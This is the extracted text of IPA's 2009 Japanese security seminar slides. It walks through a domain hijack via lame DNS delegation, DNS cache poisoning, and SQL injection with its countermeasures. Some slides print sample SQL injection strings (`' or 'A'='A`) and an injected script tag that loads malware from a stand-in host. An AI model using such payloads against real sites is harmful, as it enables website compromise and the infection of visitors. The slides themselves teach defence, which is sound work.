Comments
Description
Transcript
第2版 - IPA 独立行政法人 情報処理推進機構
2009年度IPA情報セキュリティセミナー 技術コース 専門編 本テキストのpdfファイルは http://www.ipa.go.jp/security/event/2009/isec-semi/kaisai.html よりダウンロードできます。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 技術コース 専門編について • 対象 – 企業等のウェブサイト公開やシステム運用にお ける安全性向上について理解を深めたい方 • ポイント – 主に企業ウェブに関連したセキュリティ事故の ケーススタディによる脅威と対策の技術的解説 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 2 技術コース 専門編の内容 ケーススタディ＋解説 １． DNS経由の不正アクセス ２． ウェブアプリケーションの脆弱性 ３．インシデントレスポンス Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 3 ケーススタディ1 DNS経由の不正アクセス 会社のドメイン名が乗っ取られる？ ～迷惑をかけないドメイン名管理について学ぶ～ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー ケーススタディ1 DNS経由の不正アクセス 1.1 DNSとは？ 1.2 事例:会社のドメイン情報が乗っ取られる 1.3 何が起きていたのか 1.4 対策の前に 1.5 危険なDNS設定とは 1.6 LAME delegation の対策 1.7 DNSキャッシュポイズニング Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 5 1.1 DNSとは？ • DNS(Domain Name System) • ホスト名(例:www.example.jp)から、アクセスに必要なIPアドレ ス(例:192.168.0.1)を検索する世界的な分散データベース • 自分で取得したドメイン名を使いたい場合、正式なDNS サーバをドメイン名レジストリ(JPドメインはJPRS)に登録し た上で、正式なDNSサーバを通じて公開する必要がある。 URLにおけるドメイン名の例 Windows でのクライアント設定例 http://www.example.jp ホスト名 ドメイン名 変換 FQDN (Fully Qualified Domain Name) 通信先 192.168.0.1 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 6 1.2 事例: 会社のドメイン情報が乗っ取られる • ソフトウェア開発会社 M – 社員数約500名 – 公式の自社ウェブサイト以外にも、顧客サイトや、開発用 のテストサイトなどを運用 – ISMSやPマークの全社取得を目指し、情報の取扱や安 定稼働、セキュリティには注意している – ネットワーク管理グループを設け、日々の運用でパッチ の検査と適用を実施 – データセンターに基幹サーバを設置 – ネットワークは侵入防止システム(IPS)で24時間監視 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 7 社内ネットワーク環境 インターネット 社内 ユーザ FW&IPS FW&IPS ○○○○ v ■■■■■■■■ ■■■■■■■■ ■■■■■■ サーバ エリア ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○○○○ 専用線 ○○○○ WEB M社 社内ネットワーク Copyright © 2009 独立行政法人 情報処理推進機構 DB DNS MAIL インターネットデータセンター(IDC) 2009年度IPA情報セキュリティセミナー 8 ウェブサイトを見た顧客からクレーム • ある日突然、「御社のウェブサイトを 見たら、ウイルス対策ソフトが反応し た」というクレームが来始めた • 「これまでと違うページが見えること がある」というクレームも複数 ウェブアプリケーションは専門 企業に依頼して検査していたし、 OKも出ていたのに・・・ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 9 メールにも別ルートからクレームが • M社（この会社）宛のメールが届かないことが ある • 届く場合でも、遅延していることがある – 長いときは数日も届かない • 全く問題がないケースも多数 ウェブのクレームと同じく、「ときどき」。 共通項はそれだけ。同じ原因？？ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 10 管理グループによる調査 • メールの調査 • 外部からのメールに遅延が生じていることは確認 • サーバ負荷には問題はない • 社内からメールを送信する場合は問題なさそう • ウェブサイトの調査 • 社内から確認したところでは問題ない • バックエンド含めサーバ負荷にも問題はない • 結局事象は確認できたが原因は特定できず – 外部からのアクセスに集中しているので、ネットワーク回 線の不調か？→ISP に調査を依頼したが、何も判明せ ず Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 11 社内から調査する M ●●●● ●●●● website ●●●● ●●●● ●●●● ●●●● ●●●● <div class=“maincontent”> /* start topic area */ <div class=“maincontent”> <div id=“topic_xxxx”> /*class=“topic” start topic area */ <div-class=“maincontent”> <p>●● ●● ●● ●●id=“topic_xxxx”> ●● ●● </p> <div class=“topic” ○○○○ /* start topic area */ <div●● class=“maincontent”> <p>●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> ■■■■■■■■ <div class=“topic” id=“topic_xxxx”> /* start topic area */ </p> <div class=“maincontent”> <p>●● ●● ●● ●● ●● ●● ■■■■■■■■ <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> ■■■■■■ <div class=“topic” id=“topic_xxxx”> www: tail –f /var/log/apache/access_log /*●● start - topic area */ <p>●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●●id=“topic_xxxx”> ●● ●● </p> </div> <div class=“topic” <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> <p>●● ●● ●● ●● ●● ●● </p> </div> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> --------------------------</div> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> <p>●● ●● ●● ●● ●● ●● </p> </div> </div> ●● ●● ●● ●● ●● </div> ●● ●● ●● ●● ●● <div class=“maincontent”> ●● ●● ●● ●● ●● /* start -●● topic area */ ●● ●● ●●●● ●● ●● ●● ●● ●● <div class=“topic” id=“topic_xxxx”> ●● ●● ●● <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> <p>●● ●● ●● ●● ●● ●● </p> ○○○○ <p>●●●● ●● ●● ●● ●● ●● ●● ●● ●● ●● </p> ○○○○ ●● ●● ●● ●● ●● </div> ●● ●● ●● ●● ●● </div> ●● ●● ●● ●●●● v ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ●● ●● ●● ●● ●● ●● ●● ●● Copyright © 2009 独立行政法人 情報処理推進機構 [~/work] • 会社のウェブサイトのあ るサーバや、DBを調べ たが、怪しいものは見当 たらない • クロスサイト・スクリプティ ング? しかし、構築時に セキュリティ検査済みだ し、監視サービスも何も 言ってきていない。ログ にも怪しい兆候はない 2009年度IPA情報セキュリティセミナー 12 念のため社外から調査する M ●●●● ●●●● ●●●● ●●●● website ●●●● ●●●● ●●●● ○○○○ ■■■■■■■■ ■■■■■■■■ ■■■■■■ v --------------------------●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○ ○○ ○ ○○○○ ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●● ●●●● ●● ●● ●● ●● ●● ●● ●● ●● ○○○○ Copyright © 2009 独立行政法人 情報処理推進機構 • 携帯電話回線（モバイル カード）経由で見てみる • 異常なし。・・・しかし、た またまリロードしてみた らウイルス対策ソフトが 反応した! • あれ、これうちのサイト に似てるけど微妙に違う • 連続的にリロードすると 何度かに一度程度出て くる 2009年度IPA情報セキュリティセミナー 13 ウェブサイトのIPアドレスが違う？ • 知らないIPアドレスに誘導されている!？ C:¥WINDOWS>nslookup www.m.example.jp Server: mobile.isp.example.com Address: 10.1.1.1 Non-authoritative answer: Name:www.m.example.jp Addresses: 192.168.0.2 192.168.0.3 172.16.44.193 C:¥WINDOWS>nslookup –type=ns m.example.jp Server: mobile.isp.example.com Address: 10.1.1.1 Non-authoritative answer: m.example.jp nameserver = ns.m.example.jp m.example.jp nameserver = ns-itaku.server.test Copyright © 2009 独立行政法人 情報処理推進機構 このIPアドレスは 何だ!? 全く知らないアド レスだが・・・ あれ？このネー ムサーバって、 以前に見たこと がある・・・ 2009年度IPA情報セキュリティセミナー 14 1.3 何が起きていたのか • 不正なDNSサーバが、正式なDNSサーバと して動いていた – 昔委託していたDNSサーバがあったが、業者の 撤退後、その業者が利用していたドメイン名を、 期限切れ後に第三者が取得したらしい – レジストリの情報がそのままだったので、第三者 のサーバが正式なDNSサーバに… • 数分の一の確率で偽サーバに誘導されてし まう(実装に依存) Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 15 解説：正式なDNSサーバとは • そのドメイン名に関 する正しい情報を持 つ、権威あるネーム サーバ (Authoritative NS) • 取得したドメイン名 の正式なDNSサー バは、ドメイン名レジ ストリに登録する必 要がある Copyright © 2009 独立行政法人 情報処理推進機構 ドメイン名レジストリ (.JP ドメインならば JPRS が管理) m.example.jp の正式なDNSサーバ ・ns.m.example.jp ・ns2.m.example.jp foobar.example.jp の正式なDNS サーバ ・ns.foobar.example.jp ・ns.extend.example.jp 2009年度IPA情報セキュリティセミナー 16 不正なDNSサーバによる誘導 [email protected] さん宛にメール www.m.example.net →192.168.1.2 メールの宛先 →192.168.1.4 メールサーバのIPアドレスを 教えてください 本当のDNS 悪意あるDNS 192.168.0.1 172.16.44.193 こちらのサーバに送れば いいんですね メールを受信しました メールサーバのIPアドレスを 教えてください こちらのサーバに送れば いいんですね 本当のサーバ 悪意あるサーバ 192.168.0.4 172.16.44.193 www.m.example.net →172.16.44.193 メールの宛先 →172.16.44.193 メールを奪取しました 読んだので本来の サーバに送付しておき ますね • アクセスした DNS サーバによって、宛先が かわってしまう Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 17 被害 • 公式ウェブサイトにアクセスしようとした人に、ウイ ルスを感染させようとした • ウェブサイトの誘導だけではなく、メールの宛先も 同様に誘導され、メールも読まれてしまっていた • 急いでドメイン登録会社を通じ、DNSレジストリの登 録情報を修正する手続きを取った • メールが読まれていた事から情報漏えいにもあた るので、どれだけ被害があったかもう把握できない。 企業として謝罪する必要があり大打撃 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 18 参考: 最近のウイルスの動作 • 罠ウェブ経由/普通のウェブ経由で感染 • ブラウザやプラグインの複数の脆弱性をついて侵入を試み る • 最初は小さくて流用しやすいプログラム(ダウンローダ)に感 染させる • 実際の攻撃は別サイトからダウンロードしたコード(プログラ ムそのもの)が行う • 何がダウンロードされるかわからない=対策パッチをあてて も、そのパッチを掻い潜る次の攻撃手法が使われる • ダウンロードや命令には、会社が制限できない内部→外部 のHTTP/HTTPSを利用し、正規の通信に見せかける。 参考: 近年の標的型攻撃に関する調査研究 http://www.ipa.go.jp/security/fy19/reports/sequential/index.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 19 1.4 対策の前に: DNSサーバには2種類あります DNSコンテンツサーバ (Authoritative サーバ) 自分のドメイン名情報を管理し 外部に公開するのが目的 上位のドメイン情報に登録されることで 「正式なDNSサーバ」となる DNSキャッシュサーバ (Recursiveサーバ/Resolve サーバ) 内部からの要求により 外部のDNS情報を検索するのが目的 クライアントがインターネットの設定で 「DNSサーバ」として指定する Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 20 正式なDNSサーバへのアクセス方法 http://www.example.jp にアクセス • www.example.jp は192.168.0.2 です DNSキャッシュサーバ DNSコンテンツサーバ 「WWW.EXAMPLE.JP.」の情報は？ ルートDNSサーバ A.DNS.JP. が知っています • 全世界に13システム • 「WWW.EXAMPLE.JP.」の情報は？ A.DNS.JP NS.EXAMPLE.JP. が知っています 「WWW.EXAMPLE.JP.」の情報は？ 192.168.0.2 です リクエスト JPドメイン名用に5システム NS.EXAMPLE.JP example.jp.ドメイン名情報を管 理すると登録したDNSサーバ • DNSの階層を辿る には、一つ上のドメ イン階層のサーバ に正式なDNSサー バが登録されてい る必要がある ルートDNSサーバ から検索開始 日本(JPドメイン名) はJPRSが管理す るレジストリに登録 最終的に目的の情 報を持つDNSサー バに辿りつく 返答 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 21 1.5 危険なDNS設定とは: ネットワークの実際と設定の不一致 • ネットワークの実体が 正式な状態とずれる要因 – 管理業者の移転や サーバ設定の更新時の 設定変更忘れ – ミススペルなどの 設定ミス (example.jp → exmaple.jp) root-servers.net dns.jp ns.exma ple.jp ns.exam ple.jp example.jpの登録 ・ns.example.jp ・ns.exmaple.jp ・ns2.example.jp ns2.exa mple.jp あるはずの無いサーバが正式なサーバに LAME Delegation と呼ばれる良くない状態となる Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 22 LAME delegation 状態 • LAME delegation とは、正式なDNSサーバ (Authority)として登録されたサーバがおかし い状態 1. そもそも DNS サーバとして応答しない 2. 正式なサーバではないという意味の返答、 Non-authoritative answer が返ってくる 3. 複数のコンテンツサーバの応答が一致しない 問いあわせるサーバにより返答が違う Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 23 ドメイン情報ハイジャックの可能性 • 手つかずのドメインや失 root-servers.net 効したドメインを取得し、 不正なDNSサーバを立 example.jpの登録 dns.jp ・ns.exmaple.jp てられてしまう ・ns2.example.jp • 内部で DNSサーバを 共用していると、 ns.exma ns.exam ns2.exa ple.jp ple.jp mple.jp 内部サーバで名前 解決されるので 被害に気がつきにくい 第三者が EXMAPLE.JP ドメインを取得すると 正式なDNSサーバを勝手に立てられてしまう 類例→Typosquatting：有名なサイトとよく似たドメイン名を取得し、タイプミスを狙う Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 24 不正なＤＮＳサーバを立てられると • ウェブサイトへのアクセスを誘導できる – フィッシング詐欺や認証情報の取得など • メールの宛先をそのままに誘導できる • メールアドレスがあれば、正式なSSL証明書 を取得できる可能性がある • 現象が「ときどき」起きるので、調査は難 しく、放置してしまいがちになる Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 25 1.6 LAME delegation の対策 • 今から取れる保険的対策 – 組織の正しいDNSサーバを調査する • ネットワーク上の現物調査ではなく、ネットワーク構成上そ うあるべき正しいサーバを調査する。 • 自社のDNSサーバだけではなく、委託先のDNSサーバが あれば、それも調査をおすすめします。 – DNSレジストリへの登録や、DNSサーバの設定が 違っていたら、正しい状態に修正する • DNSレジストリの修正は、一般にドメイン名登録業者(レジ ストラ)に依頼することとなります • ウェブでのインタフェースが用意されている事も • コンテンツサーバが複数ある場合は、同じドメイン名に関 する NS 情報は、全部同じ内容にしてください。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 26 正式なDNSサーバの調査方法(1) 手順を踏んで調べる方法 • 自組織が運用している、「正式」なDNSサーバの一覧を調べ る • whois で、レジストリに登録されている「正式」なDNSサーバ の一覧を調べる • whois の結果返されたDNSサーバに、IPアドレスで nslookup をし、NS レコードを調べる • 全ての NS に指定されているサーバについてたどっていき、 本来そうあるべき一覧と違わなければOK ※参考:ドメイン名の登録と DNS サーバの設定に関する注意喚起(IPA) http://www.ipa.go.jp/security/vuln/20050627_dns.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 27 正式なDNSサーバの調査方法(2) 簡易的に外部サイトを利用して調べる方法 DNS Bajaj ( http://www.zonecut.net/dns/ ) Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 28 根本的解決 • 2種類のＤＮＳサーバを機能ごとに分けて 構築する – アクセス制限の対象や設定が全く違う コンテンツサーバ キャッシュサーバ 目的 自分のドメイン情報の管理 要求に応じたＤＮＳの検索 アクセス元 基本的に外部 組織内部 アクセスする主体 キャッシュサーバ 一般のコンピュータ 上位ドメインへの登録 ○必要/Authoritative ×不要/Non-authoritative 他ドメイン情報の要求 ×返答しない ○再帰的に検索して返答する Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 29 DNSサーバによるアクセス制限の違いに注意 キャッシュサーバは 外部のDNSサーバ にアクセスできる必 要がある インターネット 外部から利用す る必要がない DNSコンテンツサーバ 外部からのリクエスト中心 DNSキャッシュサーバ 内部からのリクエスト中心 コンテンツサー バは外部からア クセスできる必 要がある 組織内部 直接外部の DNSサーバに アクセスする 必要はない 内部からの リクエストが 本来の通信 混ぜるな危険 DNSサーバの種類により、全く違うアクセス制限が必要 その他よくある注意事項 • • DNS はゾーン転送以外にも TCP を使うので、53/udp だけでなく53/tcp も許可する必要 がある。可能ならばDNS サーバで EDNS0 を利用する。 コンテンツサーバで、ゾーンの TTL 設定が短かすぎる(30秒など)と攻撃を受けやすくなる。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 30 まとめ • DNS が LAME delegation 状態となっ ている場合、状況によってはドメイン情 報をハイジャックされる危険性がある • 自組織のDNSの設定を確認し、LAME Delegation 状態があれば解消する • これから作成するDNSサーバは、機能 ごとに分割して構築する Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 31 1.7 DNSキャッシュポイズニング • キャッシュを偽情報で汚染する www.example.jp? www.example.jp? XX.YY.XXX.YYY XX.YY.XXX.YYY 問い合わせと応答の正常なやり取り Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 32 DNSキャッシュポイズニング www.example.jp? XX.ZZ.VVV.ZZZ www.example.jp? XX.YY.XXX.YYY www.example.jp? XX.ZZ.VVV.ZZZ 問い合わせと偽リプライを多数送信 （バースデイアタック型） のクエリIDが一致するまでクエリと偽応答を何度も送信する Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 33 カミンスキーアタック • 従来型より効率の良いDNSキャッシュポイズ ニング – 従来型は汚染に失敗するとTTL（Time To Live） 設定値の間次の攻撃を待つ必要があった – 存在しないホスト名に関するクエリを、都度変えて 送れば、TTLは関係ない • 001.example.jp、002.exsample.jp・・・ • 偽情報を持つDNSサーバに誘導する手法と、 直接キャッシュ情報を書き換える手法が存在 する Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 34 DNSキャッシュポイズニング www.example.jp? 001.example.jp? XX.ZZ.YYY.ZZZ のクエリIDが一致するまでクエリ と偽応答を何度も送信する www.example.jp? XX.ZZ.YYY.ZZZ 001.example.jp? www.example.jp NS ns.evelexample.jp 偽造応答にNSレコードを入れる （カミンスキー型） Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 35 キャッシュポイズニング対策 • 再帰問い合わせを制限・禁止 • ソースポート（クエリＩＤと同様に、汚染時に一 致させる必要があるもの）のランダマイズ – パッチがリリースされている – 確率を下げるだけなので、ゼロにはならない • 連続的問い合わせの制限 • 詳細は http://www.ipa.go.jp/security/vuln/DNS_se curity.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 36 参考資料一覧 • IPA ドメイン名の登録と DNS サーバの設定に関する注意喚起 http://www.ipa.go.jp/security/vuln/20050627_dns.html • IPA 近年の標的型攻撃に関する調査研究 http://www.ipa.go.jp/security/fy19/reports/sequential/index.html • JPRS DNS 関連技術情報 http://jprs.jp/tech/ • JPNIC 逆引きネームサーバの適切な設定について http://www.nic.ad.jp/ja/dns/lame/announce.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 37 ケーススタディ2 ウェブアプリケーションの脆弱性 企業サイトがウイルス感染の加害者に ～脆弱性の脅威と技術的解決を学ぶ～ Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー ケーススタディ2 ウェブアプリケーションの脆弱性 2.1 SQLインジェクションとは 2.2 SQLインジェクション対策 2.3 クロスサイト・スクリプティングとは 2.4 クロスサイト・スクリプティング対策 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 39 攻撃の類型 • 直接攻撃 –データベース –セッション管理への攻撃 • 間接攻撃 –コンテンツ改ざんによる罠 –スクリプトを悪用する罠 –認証を盗み、成りすます Copyright © 2009 独立行政法人 情報処理推進機構 Copyright (c) 2009 NPO日本ﾈｯﾄﾜｰｸｾｷｭﾘﾃｨ協会 Page 2009年度IPA情報セキュリティセミナー 40 2.1 SQLインジェクションとは • 本来直接操作できないデータベー スを外部から操作されてしまう • 原因 – データベースへの命令の組み 立て方に問題 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 41 SQL文を使ったデータベースとのやり取り • データベースへの問い合わせはウェブアプリ ケーションが行う select * from idtable where id = „sonodam‟ and password= „sonopass‟; id:sonodam password:sonopass ウェブアプリ ケーション ようこそ「園田」さん データベース 該当データ有り ウェブアプリケーションが問い合わせ代行、翻訳を行っている Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 42 SQLインジェクション攻撃 • 外部からSQL文を「挿入」されてしまう select * from idtable where id = „sonodam‟ and password= „test‟ or „A‟ = „A‟; id:sonodam password:test‟ or „A‟ = „A ウェブアプリ ケーション ようこそ「園田」さん データベース 該当データ有り ウェブアプリケーションがSQL文をスルーしていることが原因 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 43 なぜ SQL 文を挿入されてしまうのか？ • 特別な意味を持つ記号文字の扱いが不適切。 例： ’（シングルクォート）：テキスト文字の引用符 SELECT * FROM a WHERE id='$p'; $p=foo の場合： SELECT * FROM a WHERE id='foo'; id=' '; $p=foo' or 'a'='a の場合： SELECT * FROM a WHERE id='foo' id=' or 'a'='a'; '; 変数中の記号文字が意味のある文字として解釈される。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 44 2.1 SQLインジェクションとは（続き） • 生じうる脅威 – 秘密情報、個人情報等の漏えい – 重要情報の改ざん、破壊 • ウェブサイト上にウイルスを「埋め込まれる」 – 任意のコード・コマンドを実行される • 別のサーバを攻撃する踏み台となる Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 45 狙われるCMSのコンテンツ • データベースに格納されたコンテンツ データ（HTMLデータなどを含む）を汚染 する • 外部のスクリプトを読み込ませて、ウイ ルスをダウンロードさせる仕組み <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html lang=“ja”> 外部のスクリプトを読みこんで実行 <head> <title>Welcome to “C” shopping site</title> <link rel="stylesheet" href="style.css" TYPE="text/css"> <script src=“http：//othersite.example.net/3.js”></script> </head> Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 46 最近の傾向 • SQLインジェクション攻撃は2008 年から大流行中 • 脆弱なアプリケーションを探して、 既知の攻撃を仕掛けまくっている • ウイルスダウンロードを仕掛ける Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 47 2009年1月 攻撃検知数 1,508,852件 2008年12月 攻撃検知数 15,027,791件 ボットネット悪用の 急増 2009年3月 攻撃検知数 285,548件 さらにツールが進化 水面下で売買 検索エンジンの悪用 SQLインジェクションによる 改ざん・情報漏洩事件 2009年7月 攻撃検知数 60,638件 ツールによる攻撃が激化 JSOCから注意喚起を配信 http://www.lac.co.jp/info/alert/alert20090805.htmlより引用 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 48 SQLインジェクションの爪痕 ウェブサーバのログに怪しい痕跡が・・・ /shop/cart/?no= ... %20SELECT%20 ... %20FROM%20 ... %20WHER E%20 ... %20HAVING%20 ... (...) /shop/cart/?no= ... %20SELECT%20 ... %20FROM%20 ... %20WHER E%20 ... %20ORDER%20 ... データベースのログにはデータ更新された記録が。 UPDATE pages SET "created_at" = '2006-09-05 16:19:46', "template" = 'toppage.tmpl', "verified" = 1, "role" = NULL, "published" = 0, contents=“<html><head> ... Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 49 ログ解析ツールiLogScanner 解析結果のレポート例 解析結果のログ例 47件のSQLインジェクション攻撃を検出 攻撃成功は0件 攻撃成功の可能性は 検出されなかった。 攻撃元のIPアドレス 攻撃のあった時刻 ウェブサイトの脆弱性検出ツール iLogScanner http://www.ipa.go.jp/security/vuln/iLogScanner/index.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 50 2.2 SQLインジェクション対策 • 根本的解決（原因を無くす） – バインド機構（プリペアードステートメント）の利用 – エスケープ処理 – エスケープ以前の問題 • 保険的対策（取りあえずの回避策） – エラーメッセージの非表示 – データベースアカウントの権限見直し – その他の対策 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 51 バインド機構を利用 (例: Perl DBI) • 変数と関係なく構文解釈を行うため、 SQLインジェクションはありえない $sth = $dbh->prepare( "SELECT id, name, tel, address, mail FROM usr WHERE uid=? AND passwd=?"); $sth->execute($uid, $passwd); バインド変数 プレースホルダ 参考：セキュアDBプログラミング「バインドメカニズムを活用しよう」 http://www.ipa.go.jp/security/awareness/vendor/programmingv1/a02_01.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 52 バインド機構を利用 (例: Java) String parameter = ユーザが入力した値; Connection c = データベース接続オブジェクトの取得; // 値を埋め込む前の形のSQL文をコンパイルし、構文を確定 PreparedStatement st = c.prepareStatement("SELECT name, price FROM product_table WHERE code=?"); st.setString(1, parameter); // ? の場所に値を埋め込む ResultSet rs = st.executeQuery(); // クエリの実行 http://www.ipa.go.jp/security/awareness/vendor/programmingv2/web02.htmlよ り引用。 参考：：http://www.thinkit.co.jp/cert/tech/7/5/3.htm Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 53 バインド機構を利用 (例: PostgreSQL+PHP) <?php String parameter = ユーザが入力した値; $dbc = pg_connect("dbname=pg_db"); // データベース接続 // 値を埋め込む前の形のSQL文をコンパイルし、構文を確定 $result = pg_prepare($dbc, "query1", 'SELECT name, price FROM product_table WHERE code=$1'); // $1の場所に値を指定してクエリの実行 $result = pg_execute($dbc, "query1", array(parameter)); ?> http://www.ipa.go.jp/security/awareness/vendor/programmingv2/web02.htmlよ り引用。 参考： http://www.phppro.jp/phpmanual/php/function.pg-prepare.html Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 54 エスケープ処理（根本的解決） • エスケープ処理の実施。 特別な意味を持つ記号文字が普通の文字として解 釈されるように処理する。 例：' → ''（同じ文字の繰り返し） $p=foo' or 'a'='a の場合： SELECT * FROM a WHERE id='foo'' or ''a''=''a'; 変数中の ‘（シングルクォート）が、普通の文字として 解釈される。 同様に、バックスラッシュ’¥’にも繰り返しによるエス ケープ処理が必要な場合がある。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 55 実際のエスケープ処理 • エスケープ関数 （Perl の DBI quote() や PHP の dbx_escape_string()） • 置き換え演算子等で自己エスケープ処理 （ s/'/''/g; など） – 対策洩れが生じやすい方法 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 56 エスケープ処理以前の問題（根本的解決） • 外部から SQL 文を直接入力する。 <html> <form> <input type="hidden" value="SELECT * FROM ..."> </form> • 「論外」であり、避けるべき実装である。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 57 エラーメッセージを表示すると・・・ ■名前： 悪人 太郎 SQL error with query SELECT a.name, a.displname, a.passwd, a.expire_date, a.create_date, a.misc FROM account as a WHERE a.category=7 ORDER BY c.date: Can't open file: „account.MYD'. (errno: 145) ■趣味： クラッキング • 攻撃者の視点では、こう見える – データベースを利用→SQL インジェクションの可能性。 – SQL エラーに気を使っていない→攻略の可能性。 – エラー内容にSQL文が含まれる→レコード定義が推測で きる&試行錯誤すればどんどん調査できる可能性。 – エラー内容から攻略方法を検討・・・。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 58 エラーメッセージを非表示にする （保険的対策） • ウェブアプリケーションで対応。 –アプリケーションでエラーメッセージ表 示処理を用意して、それを呼び出す。 • データベースの設定で対応。 –設定で変更。 • ウェブサーバの設定で対応。 –設定でエラー時の応答を設定。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 59 エラーメッセージを非表示にする （保険的対策） • ウェブサーバでの設定例 – Microsoft IIS 6 ※ デフォルト値は 「クライアントに詳細 な ASP のエラー メッセージを送る」 なので注意！ • この設定で、ASP のエラーは全て置き換えられる。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 60 エラーメッセージを非表示にする （保険的対策） • ウェブサーバでの設定例 – PHP 5 (php.ini などで) display_errors=Off ：エラーをHTMLとして画面出力するか display_startup_errors=Off ; PHPの初期動作時点で起きるエラーを HTMLとして画面出力するか 他、 error_reporting ; エラーの表示内容を設定 log_errors ; ログにエラー出力を行うか設定 – エラーを表示しないだけでは駄目で、エラーの内容を選別し て、ログに記録するようにしておく必要がある。 Copyright © 2009 独立行政法人 情報処理推進機構 2009年度IPA情報セキュリティセミナー 61 データベースの権限は制限する （保険的対策） • 「権限全部入り」のアカウントは使わない。 × sa (System Administrator) × dba (Database Administrator) • 